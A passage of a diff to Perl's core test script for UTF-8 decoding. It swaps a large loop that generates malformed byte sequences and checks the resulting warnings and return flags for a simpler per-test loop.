Returns a string containing a mnemonic representation of the bits that - # are set in the $flags. These are assumed to be flag bits. The return - # looks like "FOO|BAR|BAZ". The second parameter is a reference to an - # array that gives the textual representation of all the possible flags. - # Element 0 is the text for the bit 0 flag; element 1 for bit 1; .... If - # no bits at all are set the string "0" is returned; - - my @flag_text; - my $shift = 0; - - return "0" if $flags == 0; - - while ($flags) { - #diag sprintf "%x", $flags; - if ($flags & 1) { - push @flag_text, $flags_to_text_ref->[$shift]; - } - $shift++; - $flags >>= 1; - } - - return join "|", @flag_text; -} - -# Possible flag returns from utf8n_to_uvchr_error(). These should have G_, -# instead of A_, D_, but the prefixes will be used in a a later commit, so -# minimize churn by having them here. -my @utf8n_flags_to_text = ( qw( - A_EMPTY - A_CONTINUATION - A_NON_CONTINUATION - A_SHORT - A_LONG - A_LONG_AND_ITS_VALUE - PLACEHOLDER - A_OVERFLOW - D_SURROGATE - W_SURROGATE - D_NONCHAR - W_NONCHAR - D_SUPER - W_SUPER - D_PERL_EXTENDED - W_PERL_EXTENDED - CHECK_ONLY - NO_CONFIDENCE_IN_CURLEN_ - ) ); - -sub utf8n_display_call($) -{ - # Converts an eval string that calls test_utf8n_to_uvchr into a more human - # readable form, and returns it. Doesn't work if the byte string contains - # an apostrophe. The return will look something like: - # test_utf8n_to_uvchr_error('$bytes', $length, $flags) - #diag $_[0]; - - $_[0] =~ / ^ ( [^(]* \( ) ' ( [^']*? ) ' ( .+ , \D* ) ( \d+ ) \) $ /x; - my $text1 = $1; # Everything before the byte string - my $bytes = $2; - my $text2 = $3; # Includes the length - my $flags = $4; - - return $text1 - . display_bytes($bytes) - . $text2 - . flags_to_text($flags, \@utf8n_flags_to_text) - . ')'; -} - -my @uvchr_flags_to_text = ( qw( - W_SURROGATE - W_NONCHAR - W_SUPER - W_PERL_EXTENDED - D_SURROGATE - D_NONCHAR - D_SUPER - D_PERL_EXTENDED -) ); - -sub uvchr_display_call($) -{ - # Converts an eval string that calls test_uvchr_to_utf8 into a more human - # readable form, and returns it. The return will look something like: - # test_uvchr_to_utf8n_flags($uv, $flags) - #diag $_[0]; - - - $_[0] =~ / ^ ( [^(]* \( ) ( \d+ ) , \s* ( \d+ ) \) $ /x; - my $text = $1; - my $cp = sprintf "%X", $2; - my $flags = $3; - - return "${text}0x$cp, " . flags_to_text($flags, \@uvchr_flags_to_text) . ')'; -} - -sub do_warnings_test(@) -{ - my @expected_warnings = @_; - - # Compares the input expected warnings array with @warnings_gotten, - # generating a pass for each found, removing it from @warnings_gotten. - # Any discrepancies generate test failures. Returns TRUE if no - # discrepcancies; otherwise FALSE. - - my $succeeded = 1; - - if (@expected_warnings == 0) { - if (! is(@warnings_gotten, 0, " Expected and got no warnings")) { - output_warnings(@warnings_gotten); - $succeeded = 0; - } - return $succeeded; - } - - # Check that we got all the expected warnings, - # removing each one found - WARNING: - foreach my $expected (@expected_warnings) { - foreach (my $i = 0; $i < @warnings_gotten; $i++) { - if ($warnings_gotten[$i] =~ $expected) { - pass(" Expected and got warning: " - . " $warnings_gotten[$i]"); - splice @warnings_gotten, $i, 1; - next WARNING; - } - } - fail(" Expected a warning that matches " - . $expected . " but didn't get it"); - $succeeded = 0; - } - - if (! is(@warnings_gotten, 0, " Got no unexpected warnings")) { - output_warnings(@warnings_gotten); - $succeeded = 0; + $::UTF8_WARN_ABOVE_31_BIT,$::UTF8_DISALLOW_ABOVE_31_BIT, + $::UTF8_GOT_ABOVE_31_BIT, + 'utf8', 0x1000000000000000, + $::max_bytes, 2, + nonportable_regex(0x1000000000000000) + ]; } - - return $succeeded; } # This test is split into this number of files. my $num_test_files = $ENV{TEST_JOBS} || 1; $num_test_files = 10 if $num_test_files > 10; -# We only really need to test utf8n_to_uvchr_msgs() once with this flag. -my $tested_CHECK_ONLY = 0; - my $test_count = -1; foreach my $test (@tests) { - $test_count++; - next if $test_count % $num_test_files != $::TEST_CHUNK; - - my ($testname, $bytes, $allowed_uv, $needed_to_discern_len) = @$test; - - my $length = length $bytes; - my $initially_overlong = $testname =~ /overlong/; - my $initially_orphan = $testname =~ /orphan/; - my $will_overflow = $allowed_uv < 0; - - my $uv_string = sprintf(($allowed_uv < 0x100) ? "%02X" : "%04X", $allowed_uv); - my $display_bytes = display_bytes($bytes); - - my $controlling_warning_category; - my $utf8n_flag_to_warn; - my $utf8n_flag_to_disallow; - my $uvchr_flag_to_warn; - my $uvchr_flag_to_disallow; - - # We want to test that the independent flags are actually independent. - # For example, that a surrogate doesn't trigger a non-character warning, - # and conversely, turning off an above-Unicode flag doesn't suppress a - # surrogate warning. Earlier versions of this file used nested loops to - # test all possible combinations. But that creates lots of tests, making - # this run too long. What is now done instead is to use the complement of - # the category we are testing to greatly reduce the combinatorial - # explosion. For example, if we have a surrogate and we aren't expecting - # a warning about it, we set all the flags for non-surrogates to raise - # warnings. If one shows up, it indicates the flags aren't independent. - my $utf8n_flag_to_warn_complement; - my $utf8n_flag_to_disallow_complement; - my $uvchr_flag_to_warn_complement; - my $uvchr_flag_to_disallow_complement; - - # Many of the code points being tested are middling in that if code point - # edge cases work, these are very likely to as well. Because this test - # file takes a while to execute, we skip testing the edge effects of code - # points deemed middling, while testing their basics and continuing to - # fully test the non-middling code points. - my $skip_most_tests = 0; - - my $cp_message_qr; # Pattern that matches the message raised when - # that message contains the problematic code - # point. The message is the same (currently) both - # when going from/to utf8. - my $non_cp_trailing_text; # The suffix text when the message doesn't - # contain a code point. (This is a result of - # some sort of malformation that means we - # can't get an exact code poin - my $extended_cp_message_qr = qr/\QCode point 0x$uv_string is not Unicode,\E - \Q requires a Perl extension, and so is not\E - \Q portable\E/x; - my $extended_non_cp_trailing_text - = "is a Perl extension, and so is not portable"; - - # What bytes should have been used to specify a code point that has been - # specified as an overlong. - my $correct_bytes_for_overlong; - - # Is this test malformed from the beginning? If so, we know to generally - # expect that the tests will show it isn't valid. - my $initially_malformed = 0; - - if ($initially_overlong || $initially_orphan) { - $non_cp_trailing_text = "if you see this, there is an error"; - $cp_message_qr = qr/\Q$non_cp_trailing_text\E/; - $initially_malformed = 1; - $utf8n_flag_to_warn = 0; - $utf8n_flag_to_disallow = 0; - - $utf8n_flag_to_warn_complement = $::UTF8_WARN_SURROGATE; - $utf8n_flag_to_disallow_complement = $::UTF8_DISALLOW_SURROGATE; - if (! $will_overflow && $allowed_uv <= 0x10FFFF) { - $utf8n_flag_to_warn_complement |= $::UTF8_WARN_SUPER; - $utf8n_flag_to_disallow_complement |= $::UTF8_DISALLOW_SUPER; - if (($allowed_uv & 0xFFFF) != 0xFFFF) { - $utf8n_flag_to_warn_complement |= $::UTF8_WARN_NONCHAR; - $utf8n_flag_to_disallow_complement |= $::UTF8_DISALLOW_NONCHAR; - } - } - if (! is_extended_utf8($bytes)) { - $utf8n_flag_to_warn_complement |= $::UTF8_WARN_PERL_EXTENDED; - $utf8n_flag_to_disallow_complement |= $::UTF8_DISALLOW_PERL_EXTENDED; - } - - $controlling_warning_category = 'utf8'; - - if ($initially_overlong) { - if (! defined $needed_to_discern_len) { - $needed_to_discern_len = overlong_discern_len($bytes); - } - $correct_bytes_for_overlong = display_bytes_no_quotes(chr $allowed_uv); - } - } - elsif($will_overflow || $allowed_uv > 0x10FFFF) { - - # Set the SUPER flags; later, we test for PERL_EXTENDED as well. - $utf8n_flag_to_warn = $::UTF8_WARN_SUPER; - $utf8n_flag_to_disallow = $::UTF8_DISALLOW_SUPER; - $uvchr_flag_to_warn = $::UNICODE_WARN_SUPER; - $uvchr_flag_to_disallow = $::UNICODE_DISALLOW_SUPER;; - - # Below, we add the flags for non-perl_extended to the code points - # that don't fit that category. Special tests are done for this - # category in the inner loop. - $utf8n_flag_to_warn_complement = $::UTF8_WARN_NONCHAR - |$::UTF8_WARN_SURROGATE; - $utf8n_flag_to_disallow_complement = $::UTF8_DISALLOW_NONCHAR - |$::UTF8_DISALLOW_SURROGATE; - $uvchr_flag_to_warn_complement = $::UNICODE_WARN_NONCHAR - |$::UNICODE_WARN_SURROGATE; - $uvchr_flag_to_disallow_complement = $::UNICODE_DISALLOW_NONCHAR - |$::UNICODE_DISALLOW_SURROGATE; - $controlling_warning_category = 'non_unicode'; - - if ($will_overflow) { # This is realy a malformation - $non_cp_trailing_text = "if you see this, there is an error"; - $cp_message_qr = qr/\Q$non_cp_trailing_text\E/; - $initially_malformed = 1; - if (! defined $needed_to_discern_len) { - $needed_to_discern_len = overflow_discern_len($length); - } - } - elsif (requires_extended_utf8($allowed_uv)) { - $cp_message_qr = $extended_cp_message_qr; - $non_cp_trailing_text = $extended_non_cp_trailing_text; - $needed_to_discern_len = 1 unless defined $needed_to_discern_len; - } - else { - $cp_message_qr = qr/\QCode point 0x$uv_string is not Unicode,\E - \Q may not be portable\E/x; - $non_cp_trailing_text = "is for a non-Unicode code point, may not" - . " be portable"; - $utf8n_flag_to_warn_complement |= $::UTF8_WARN_PERL_EXTENDED; - $utf8n_flag_to_disallow_complement - |= $::UTF8_DISALLOW_PERL_EXTENDED; - $uvchr_flag_to_warn_complement |= $::UNICODE_WARN_PERL_EXTENDED; - $uvchr_flag_to_disallow_complement - |= $::UNICODE_DISALLOW_PERL_EXTENDED; - } - } - elsif ($allowed_uv >= 0xD800 && $allowed_uv <= 0xDFFF) { - $cp_message_qr = qr/UTF-16 surrogate U\+$uv_string/; - $non_cp_trailing_text = "is for a surrogate"; - $needed_to_discern_len = 2 unless defined $needed_to_discern_len; - $skip_most_tests = 1 if $allowed_uv > 0xD800 && $allowed_uv < 0xDFFF; - - $utf8n_flag_to_warn = $::UTF8_WARN_SURROGATE; - $utf8n_flag_to_disallow = $::UTF8_DISALLOW_SURROGATE; - $uvchr_flag_to_warn = $::UNICODE_WARN_SURROGATE; - $uvchr_flag_to_disallow = $::UNICODE_DISALLOW_SURROGATE;; - - $utf8n_flag_to_warn_complement = $::UTF8_WARN_NONCHAR - |$::UTF8_WARN_SUPER - |$::UTF8_WARN_PERL_EXTENDED; - $utf8n_flag_to_disallow_complement = $::UTF8_DISALLOW_NONCHAR - |$::UTF8_DISALLOW_SUPER - |$::UTF8_DISALLOW_PERL_EXTENDED; - $uvchr_flag_to_warn_complement = $::UNICODE_WARN_NONCHAR - |$::UNICODE_WARN_SUPER - |$::UNICODE_WARN_PERL_EXTENDED; - $uvchr_flag_to_disallow_complement = $::UNICODE_DISALLOW_NONCHAR - |$::UNICODE_DISALLOW_SUPER - |$::UNICODE_DISALLOW_PERL_EXTENDED; - $controlling_warning_category = 'surrogate'; - } - elsif ( ($allowed_uv >= 0xFDD0 && $allowed_uv <= 0xFDEF) - || ($allowed_uv & 0xFFFE) == 0xFFFE) - { - $cp_message_qr = qr/\QUnicode non-character U+$uv_string\E - \Q is not recommended for open interchange\E/x; - $non_cp_trailing_text = "if you see this, there is an error"; - $needed_to_discern_len = $length unless defined $needed_to_discern_len; - if ( ($allowed_uv > 0xFDD0 && $allowed_uv < 0xFDEF) - || ($allowed_uv > 0xFFFF && $allowed_uv < 0x10FFFE)) - { - $skip_most_tests = 1; - } - - $utf8n_flag_to_warn = $::UTF8_WARN_NONCHAR; - $utf8n_flag_to_disallow = $::UTF8_DISALLOW_NONCHAR; - $uvchr_flag_to_warn = $::UNICODE_WARN_NONCHAR; - $uvchr_flag_to_disallow = $::UNICODE_DISALLOW_NONCHAR;; - - $utf8n_flag_to_warn_complement = $::UTF8_WARN_SURROGATE - |$::UTF8_WARN_SUPER - |$::UTF8_WARN_PERL_EXTENDED; - $utf8n_flag_to_disallow_complement = $::UTF8_DISALLOW_SURROGATE - |$::UTF8_DISALLOW_SUPER - |$::UTF8_DISALLOW_PERL_EXTENDED; - $uvchr_flag_to_warn_complement = $::UNICODE_WARN_SURROGATE - |$::UNICODE_WARN_SUPER - |$::UNICODE_WARN_PERL_EXTENDED; - $uvchr_flag_to_disallow_complement = $::UNICODE_DISALLOW_SURROGATE - |$::UNICODE_DISALLOW_SUPER - |$::UNICODE_DISALLOW_PERL_EXTENDED; - - $controlling_warning_category = 'nonchar'; - } - else { - die "Can't figure out what type of warning to test for $testname" - } - - die 'Didn\'t set $needed_to_discern_len for ' . $testname - unless defined $needed_to_discern_len; - - # We try various combinations of malformations that can occur - foreach my $short (0, 1) { - next if $skip_most_tests && $short; - foreach my $unexpected_noncont (0, 1) { - next if $skip_most_tests && $unexpected_noncont; - foreach my $overlong (0, 1) { - next if $overlong && $skip_most_tests; - next if $initially_overlong && ! $overlong; - - # If we're creating an overlong, it can't be longer than the - # maximum length, so skip if we're already at that length. - next if (! $initially_overlong && $overlong) - && $length >= $::max_bytes; - - my $this_cp_message_qr = $cp_message_qr; - my $this_non_cp_trailing_text = $non_cp_trailing_text; - - foreach my $malformed_allow_type (0..2) { - # 0 don't allow this malformation; ignored if no malformation - # 1 allow, with REPLACEMENT CHARACTER returned - # 2 allow, with intended code point returned. All malformations - # other than overlong can't determine the intended code point, - # so this isn't valid for them. - next if $malformed_allow_type == 2 - && ($will_overflow || $short || $unexpected_noncont); - next if $skip_most_tests && $malformed_allow_type; - - # Here we are in the innermost loop for malformations. So we - # know which ones are in effect. Can now change the input to be - # appropriately malformed. We also can set up certain other - # things now, like whether we expect a return flag from this - # malformation, and which flag. - - my $this_bytes = $bytes; - my $this_length = $length; - my $this_expected_len = $length; - my $this_needed_to_discern_len = $needed_to_discern_len; - - my @malformation_names; - my @expected_malformation_warnings; - my @expected_malformation_return_flags; - - # Contains the flags for any allowed malformations. Currently no - # combinations of on/off are tested for. It's either all are - # allowed, or none are. - my $allow_flags = 0; - my $overlong_is_in_perl_extended_utf8 = 0; - my $dont_use_overlong_cp = 0; - - if ($initially_orphan) { - next if $overlong || $short || $unexpected_noncont; - } - - if ($overlong) { - if (! $initially_overlong) { - my $new_expected_len; - - # To force this malformation, we convert the original start - # byte into a continuation byte with the same data bits as - # originally. ... - my $start_byte = substr($this_bytes, 0, 1); - my $converted_to_continuation_byte - = start_byte_to_cont($start_byte); - - # ... Then we prepend it with a known overlong sequence. - # This should evaluate to the exact same code point as the - # original. We try to avoid an overlong using Perl - # extended UTF-8. The code points are the highest - # representable as overlongs on the respective platform - # without using extended UTF-8. - if (native_to_I8($start_byte) lt "\xFC") { - $start_byte = I8_to_native("\xFC"); - $new_expected_len = 6; - } - elsif (! isASCII && native_to_I8($start_byte) lt "\xFE") { - - # FE is not extended UTF-8 on EBCDIC - $start_byte = I8_to_native("\xFE"); - $new_expected_len = 7; - } - else { # Must use extended UTF-8. On ASCII platforms, we - # could express some overlongs here starting with - # \xFE, but there's no real reason to do so. - $overlong_is_in_perl_extended_utf8 = 1; - $start_byte = I8_to_native("\xFF"); - $new_expected_len = $::max_bytes; - $this_cp_message_qr = $extended_cp_message_qr; - - # The warning that gets raised doesn't include the - # code point in the message if the code point can be - # expressed without using extended UTF-8, but the - # particular overlong sequence used is in extended - # UTF-8. To do otherwise would be confusing to the - # user, as it would claim the code point requires - # extended, when it doesn't. - $dont_use_overlong_cp = 1 - unless requires_extended_utf8($allowed_uv); - $this_non_cp_trailing_text - = $extended_non_cp_trailing_text; - } - - # Splice in the revise continuation byte, preceded by the - # start byte and the proper number of the lowest - # continuation bytes. - $this_bytes = $start_byte - . ($native_lowest_continuation_chr - x ( $new_expected_len - - 1 - - length($this_bytes))) - . $converted_to_continuation_byte - . substr($this_bytes, 1); - $this_length = length($this_bytes); - $this_needed_to_discern_len = $new_expected_len - - ( $this_expected_len - - $this_needed_to_discern_len); - $this_expected_len = $new_expected_len; - } - } - - if ($short) { - - # To force this malformation, just tell the test to not look - # as far as it should into the input. - $this_length--; - $this_expected_len--; - - $allow_flags |= $::UTF8_ALLOW_SHORT if $malformed_allow_type; - } - - if ($unexpected_noncont) { - - # To force this malformation, change the final continuation - # byte into a start byte. - my $pos = ($short) ? -2 : -1; - substr($this_bytes, $pos, 1) = $known_start_byte; - $this_expected_len--; - } - - # The whole point of a test that is malformed from the beginning - # is to test for that malformation. If we've modified things so - # much that we don't have enough information to detect that - # malformation, there's no point in testing. - next if $initially_malformed - && $this_expected_len < $this_needed_to_discern_len; - - # Here, we've transformed the input with all of the desired - # non-overflow malformations. We are now in a position to - # construct any potential warnings for those malformations. But - # it's a pain to get the detailed messages exactly right, so for - # now XXX, only do so for those that return an explicit code - # point. - - if ($initially_orphan) { - push @malformation_names, "orphan continuation"; - push @expected_malformation_return_flags, - $::UTF8_GOT_CONTINUATION; - $allow_flags |= $::UTF8_ALLOW_CONTINUATION - if $malformed_allow_type; - push @expected_malformation_warnings, qr/unexpected continuation/; - } - - if ($overlong) { - push @malformation_names, 'overlong'; - push @expected_malformation_return_flags, $::UTF8_GOT_LONG; - - # If one of the other malformation types is also in effect, we - # don't know what the intended code point was. - if ($short || $unexpected_noncont || $will_overflow) { - push @expected_malformation_warnings, qr/overlong/; - } - else { - my $wrong_bytes = display_bytes_no_quotes( - substr($this_bytes, 0, $this_length)); - if (! defined $correct_bytes_for_overlong) { - $correct_bytes_for_overlong - = display_bytes_no_quotes($bytes); - } - my $prefix = ( $allowed_uv > 0x10FFFF - || ! isASCII && $allowed_uv < 256) - ? "0x" - : "U+"; - push @expected_malformation_warnings, - qr/\QMalformed UTF-8 character: $wrong_bytes\E - \Q (overlong; instead use\E - \Q $correct_bytes_for_overlong to\E - \Q represent $prefix$uv_string)/x; - } - - if ($malformed_allow_type == 2) { - $allow_flags |= $::UTF8_ALLOW_LONG_AND_ITS_VALUE; - } - elsif ($malformed_allow_type) { - $allow_flags |= $::UTF8_ALLOW_LONG; - } - } - if ($short) { - push @malformation_names, 'short'; - push @expected_malformation_return_flags, $::UTF8_GOT_SHORT; - push @expected_malformation_warnings, qr/too short/; - } - if ($unexpected_noncont) { - push @malformation_names, 'unexpected non-continuation'; - push @expected_malformation_return_flags, - $::UTF8_GOT_NON_CONTINUATION; - $allow_flags |= $::UTF8_ALLOW_NON_CONTINUATION - if $malformed_allow_type; - push @expected_malformation_warnings, - qr/unexpected non-continuation byte/; - } - - # The overflow malformation is done differently than other - # malformations. It comes from manually typed tests in the test - # array. We now make it be treated like one of the other - # malformations. But some has to be deferred until the inner loop - my $overflow_msg_pattern; - if ($will_overflow) { - push @malformation_names, 'overflow'; - - $overflow_msg_pattern = display_bytes_no_quotes( - substr($this_bytes, 0, $this_expected_len)); - $overflow_msg_pattern = qr/\QMalformed UTF-8 character:\E - \Q $overflow_msg_pattern\E - \Q (overflows)\E/x; - push @expected_malformation_return_flags, $::UTF8_GOT_OVERFLOW; - $allow_flags |= $::UTF8_ALLOW_OVERFLOW if $malformed_allow_type; - } - - # And we can create the malformation-related text for the the test - # names we eventually will generate. - my $malformations_name = ""; - if (@malformation_names) { - $malformations_name .= "dis" unless $malformed_allow_type; - $malformations_name .= "allowed "; - $malformations_name .= "malformation"; - $malformations_name .= "s" if @malformation_names > 1; - $malformations_name .= ": "; - $malformations_name .= join "/", @malformation_names; - $malformations_name = " ($malformations_name)"; - } - - # Done setting up the malformation related stuff - - { # First test the isFOO calls - use warnings; # XXX no warnings 'deprecated'; # Make sure these don't raise warnings - undef @warnings_gotten; - - my $ret = test_isUTF8_CHAR($this_bytes, $this_length); - my $ret_flags - = test_isUTF8_CHAR_flags($this_bytes, $this_length, 0); - if ($malformations_name) { - is($ret, 0, "For $testname$malformations_name: isUTF8_CHAR() returns 0"); - is($ret_flags, 0, " And isUTF8_CHAR_flags() returns 0"); - } - else { - is($ret, $this_length, "For $testname: isUTF8_CHAR() returns" - . " expected length: $this_length"); - is($ret_flags, $this_length, - " And isUTF8_CHAR_flags(...,0) returns expected" - . " length: $this_length"); - } - is(scalar @warnings_gotten, 0, - " And neither isUTF8_CHAR() nor isUTF8_CHAR()_flags" - . " generated any warnings") - or output_warnings(@warnings_gotten); - - undef @warnings_gotten; - $ret = test_isSTRICT_UTF8_CHAR($this_bytes, $this_length); - if ($malformations_name) { - is($ret, 0, " And isSTRICT_UTF8_CHAR() returns 0"); - } - else { - my $expected_ret - = ( $testname =~ /surrogate|non-character/ - || $allowed_uv > 0x10FFFF) - ? 0 - : $this_length; - is($ret, $expected_ret, - " And isSTRICT_UTF8_CHAR() returns expected" - . " length: $expected_ret"); - $ret = test_isUTF8_CHAR_flags($this_bytes, $this_length, - $::UTF8_DISALLOW_ILLEGAL_INTERCHANGE); - is($ret, $expected_ret, - " And isUTF8_CHAR_flags('" - . "DISALLOW_ILLEGAL_INTERCHANGE') acts like" - . " isSTRICT_UTF8_CHAR"); - } - is(scalar @warnings_gotten, 0, - " And neither isSTRICT_UTF8_CHAR() nor" - . " isUTF8_CHAR_flags generated any warnings") - or output_warnings(@warnings_gotten); - - undef @warnings_gotten; - $ret = test_isC9_STRICT_UTF8_CHAR($this_bytes, $this_length); - if ($malformations_name) { - is($ret, 0, " And isC9_STRICT_UTF8_CHAR() returns 0"); - } - else { - my $expected_ret = ( $testname =~ /surrogate/ - || $allowed_uv > 0x10FFFF) - ? 0 - : $this_expected_len; - is($ret, $expected_ret, " And isC9_STRICT_UTF8_CHAR()" - . " returns expected length:" - . " $expected_ret"); - $ret = test_isUTF8_CHAR_flags($this_bytes, $this_length, - $::UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE); - is($ret, $expected_ret, - " And isUTF8_CHAR_flags('" - . "DISALLOW_ILLEGAL_C9_INTERCHANGE') acts like" - . " isC9_STRICT_UTF8_CHAR"); - } - is(scalar @warnings_gotten, 0, - " And neither isC9_STRICT_UTF8_CHAR() nor" - . " isUTF8_CHAR_flags generated any warnings") - or output_warnings(@warnings_gotten); - - foreach my $disallow_type (0..2) { - # 0 is don't disallow this type of code point - # 1 is do disallow - # 2 is do disallow, but only code points requiring - # perl-extended-UTF8 - - my $disallow_flags; - my $expected_ret; - - if ($malformations_name) { - - # Malformations are by default disallowed, so testing - # with $disallow_type equal to 0 is sufficicient. - next if $disallow_type; - - $disallow_flags = 0; - $expected_ret = 0; - } - elsif ($disallow_type == 1) { - $disallow_flags = $utf8n_flag_to_disallow; - $expected_ret = 0; - } - elsif ($disallow_type == 2) { - next if ! requires_extended_utf8($allowed_uv); - $disallow_flags = $::UTF8_DISALLOW_PERL_EXTENDED; - $expected_ret = 0; - } - else { # type is 0 - $disallow_flags = $utf8n_flag_to_disallow_complement; - $expected_ret = $this_length; - } - - $ret = test_isUTF8_CHAR_flags($this_bytes, $this_length, - $disallow_flags); - is($ret, $expected_ret, - " And isUTF8_CHAR_flags($display_bytes," - . " $disallow_flags) returns $expected_ret") - or diag "The flags mean " - . flags_to_text($disallow_flags, - \@utf8n_flags_to_text); - is(scalar @warnings_gotten, 0, - " And isUTF8_CHAR_flags(...) generated" - . " no warnings") - or output_warnings(@warnings_gotten); - - # Test partial character handling, for each byte not a - # full character - my $did_test_partial = 0; - for (my $j = 1; $j < $this_length - 1; $j++) { - $did_test_partial = 1; - my $partial = substr($this_bytes, 0, $j); - my $ret_should_be; - my $comment; - if ($disallow_type || $malformations_name) { - $ret_should_be = 0; - $comment = "disallowed"; - - # The number of bytes required to tell if a - # sequence has something wrong is the smallest of - # all the things wrong with it. We start with the - # number for this type of code point, if that is - # disallowed; or the whole length if not. The - # latter is what a couple of the malformations - # require. - my $needed_to_tell = ($disallow_type) - ? $this_needed_to_discern_len - : $this_expected_len; - - # Then we see if the malformations that are - # detectable early in the string are present. - if ($overlong) { - my $dl = overlong_discern_len($this_bytes); - $needed_to_tell = $dl if $dl < $needed_to_tell; - } - if ($will_overflow) { - my $dl = overflow_discern_len($length); - $needed_to_tell = $dl if $dl < $needed_to_tell; - } - - if ($j < $needed_to_tell) { - $ret_should_be = 1; - $comment .= ", but need $needed_to_tell" - . " bytes to discern:"; - } - } - else { - $ret_should_be = 1; - $comment = "allowed"; - } - - undef @warnings_gotten; - - $ret = test_is_utf8_valid_partial_char_flags($partial, - $j, $disallow_flags); - is($ret, $ret_should_be, - " And is_utf8_valid_partial_char_flags(" - . display_bytes($partial) - . ", $disallow_flags), $comment: returns" - . " $ret_should_be") - or diag "The flags mean " - . flags_to_text($disallow_flags, \@utf8n_flags_to_text); - } - - if ($did_test_partial) { - is(scalar @warnings_gotten, 0, - " And is_utf8_valid_partial_char_flags()" - . " generated no warnings for any of the lengths") - or output_warnings(@warnings_gotten); - } - } - } - - # Now test the to/from UTF-8 calls. There are several orthogonal - # variables involved. We test most possible combinations - - foreach my $do_disallow (0, 1) { - if ($do_disallow) { - next if $initially_overlong || $initially_orphan; - } - else { - next if $skip_most_tests; - } - - # This tests four functions: utf8n_to_uvchr_error, - # utf8n_to_uvchr_msgs, uvchr_to_utf8_flags, and - # uvchr_to_utf8_msgs. The first two are variants of each other, - # and the final two also form a pair. We use a loop 'which_func' - # to determine which of each pair is being tested. The main loop - # tests either the first and third, or the 2nd and fourth. - # which_func is sets whether we are expecting warnings or not in - # certain places. The _msgs() version of the functions expects - # warnings even if lexical ones are turned off, so by making its - # which_func == 1, we can say we want warnings; whereas the other - # one with the value 0, doesn't get them. - for my $which_func (0, 1) { - my $utf8_func = ($which_func) - ? 'utf8n_to_uvchr_msgs' - : 'utf8n_to_uvchr_error'; - - # We classify the warnings into certain "interesting" types, - # described later - foreach my $warning_type (0..4) { - next if $skip_most_tests && $warning_type != 1; - foreach my $use_warn_flag (0, 1) { - if ($use_warn_flag) { - next if $initially_overlong || $initially_orphan; - - # Since foo_msgs() expects warnings even when lexical - # ones are turned off, we can skip testing it when - # they are turned on, with little likelihood of - # missing an error case. - next if $which_func; - } - else { - next if $skip_most_tests; - } - - # Finally, here is the inner loop - - my $this_utf8n_flag_to_warn = $utf8n_flag_to_warn; - my $this_utf8n_flag_to_disallow = $utf8n_flag_to_disallow; - my $this_uvchr_flag_to_warn = $uvchr_flag_to_warn; - my $this_uvchr_flag_to_disallow = $uvchr_flag_to_disallow; - - my $eval_warn; - my $expect_regular_warnings; - my $expect_warnings_for_malformed; - my $expect_warnings_for_overflow; - - if ($warning_type == 0) { - $eval_warn = "use warnings"; - $expect_regular_warnings = $use_warn_flag; - - # We ordinarily expect overflow warnings here. But it - # is somewhat more complicated, and the final - # determination is deferred to one place in the file - # where we handle overflow. - $expect_warnings_for_overflow = 1; - - # We would ordinarily expect malformed warnings in - # this case, but not if malformations are allowed. - $expect_warnings_for_malformed - = $malformed_allow_type == 0; - } - elsif ($warning_type == 1) { - $eval_warn = "no warnings"; - $expect_regular_warnings = $which_func; - $expect_warnings_for_overflow = $which_func; - $expect_warnings_for_malformed = $which_func; - } - elsif ($warning_type == 2) { - $eval_warn = "no warnings; use warnings 'utf8'"; - $expect_regular_warnings = $use_warn_flag; - $expect_warnings_for_overflow = 1; - $expect_warnings_for_malformed - = $malformed_allow_type == 0; - } - elsif ($warning_type == 3) { - $eval_warn = "no warnings; use warnings" - . " '$controlling_warning_category'"; - $expect_regular_warnings = $use_warn_flag; - $expect_warnings_for_overflow - = $controlling_warning_category eq 'non_unicode'; - $expect_warnings_for_malformed = $which_func; - } - elsif ($warning_type == 4) { # Like type 3, but uses the - # PERL_EXTENDED flags - # The complement flags were set up so that the - # PERL_EXTENDED flags have been tested that they don't - # trigger wrongly for too small code points. And the - # flags have been set up so that those small code - # points are tested for being above Unicode. What's - # left to test is that the large code points do - # trigger the PERL_EXTENDED flags. - next if ! requires_extended_utf8($allowed_uv); - next if $controlling_warning_category ne 'non_unicode'; - $eval_warn = "no warnings; use warnings 'non_unicode'"; - $expect_regular_warnings = 1; - $expect_warnings_for_overflow = 1; - $expect_warnings_for_malformed = 0; - $this_utf8n_flag_to_warn = $::UTF8_WARN_PERL_EXTENDED; - $this_utf8n_flag_to_disallow - = $::UTF8_DISALLOW_PERL_EXTENDED; - $this_uvchr_flag_to_warn - = $::UNICODE_WARN_PERL_EXTENDED; - $this_uvchr_flag_to_disallow - = $::UNICODE_DISALLOW_PERL_EXTENDED; - } - else { - die "Unexpected warning type '$warning_type'"; + $test_count++; + next if $test_count % $num_test_files != $::TEST_CHUNK; + + my ($testname, $bytes, $warn_flags, $disallow_flags, $expected_error_flags, + $category, $allowed_uv, $expected_len, $needed_to_discern_len, $message + ) = @$test; + + my $length = length $bytes; + my $will_overflow = $testname =~ /overflow/ ? 'overflow' : ""; + + { + use warnings; + undef @warnings; + my $ret = test_isUTF8_CHAR($bytes, $length); + my $ret_flags = test_isUTF8_CHAR_flags($bytes, $length, 0); + if ($will_overflow) { + is($ret, 0, "isUTF8_CHAR() $testname: returns 0"); + is($ret_flags, 0, "isUTF8_CHAR_flags() $testname: returns 0"); + } + else { + is($ret, $length, + "isUTF8_CHAR() $testname: returns expected length: $length"); + is($ret_flags, $length, "isUTF8_CHAR_flags(...,0) $testname:" + . " returns expected length: $length"); + } + is(scalar @warnings, 0, + "isUTF8_CHAR() and isUTF8_CHAR()_flags $testname: generated" + . " no warnings") + or output_warnings(@warnings); + + undef @warnings; + $ret = test_isSTRICT_UTF8_CHAR($bytes, $length); + if ($will_overflow) { + is($ret, 0, "isSTRICT_UTF8_CHAR() $testname: returns 0"); + } + else { + my $expected_ret = ( $testname =~ /surrogate|non-character/ + || $allowed_uv > 0x10FFFF) + ? 0 + : $length; + is($ret, $expected_ret, "isSTRICT_UTF8_CHAR() $testname: returns" + . " expected length: $expected_ret"); + $ret = test_isUTF8_CHAR_flags($bytes, $length, + $::UTF8_DISALLOW_ILLEGAL_INTERCHANGE); + is($ret, $expected_ret, + "isUTF8_CHAR_flags('DISALLOW_ILLEGAL_INTERCHANGE')" + . " acts like isSTRICT_UTF8_CHAR"); + } + is(scalar @warnings, 0, + "isSTRICT_UTF8_CHAR() and isUTF8_CHAR_flags $testname:" + . " generated no warnings") + or output_warnings(@warnings); + + undef @warnings; + $ret = test_isC9_STRICT_UTF8_CHAR($bytes, $length); + if ($will_overflow) { + is($ret, 0, 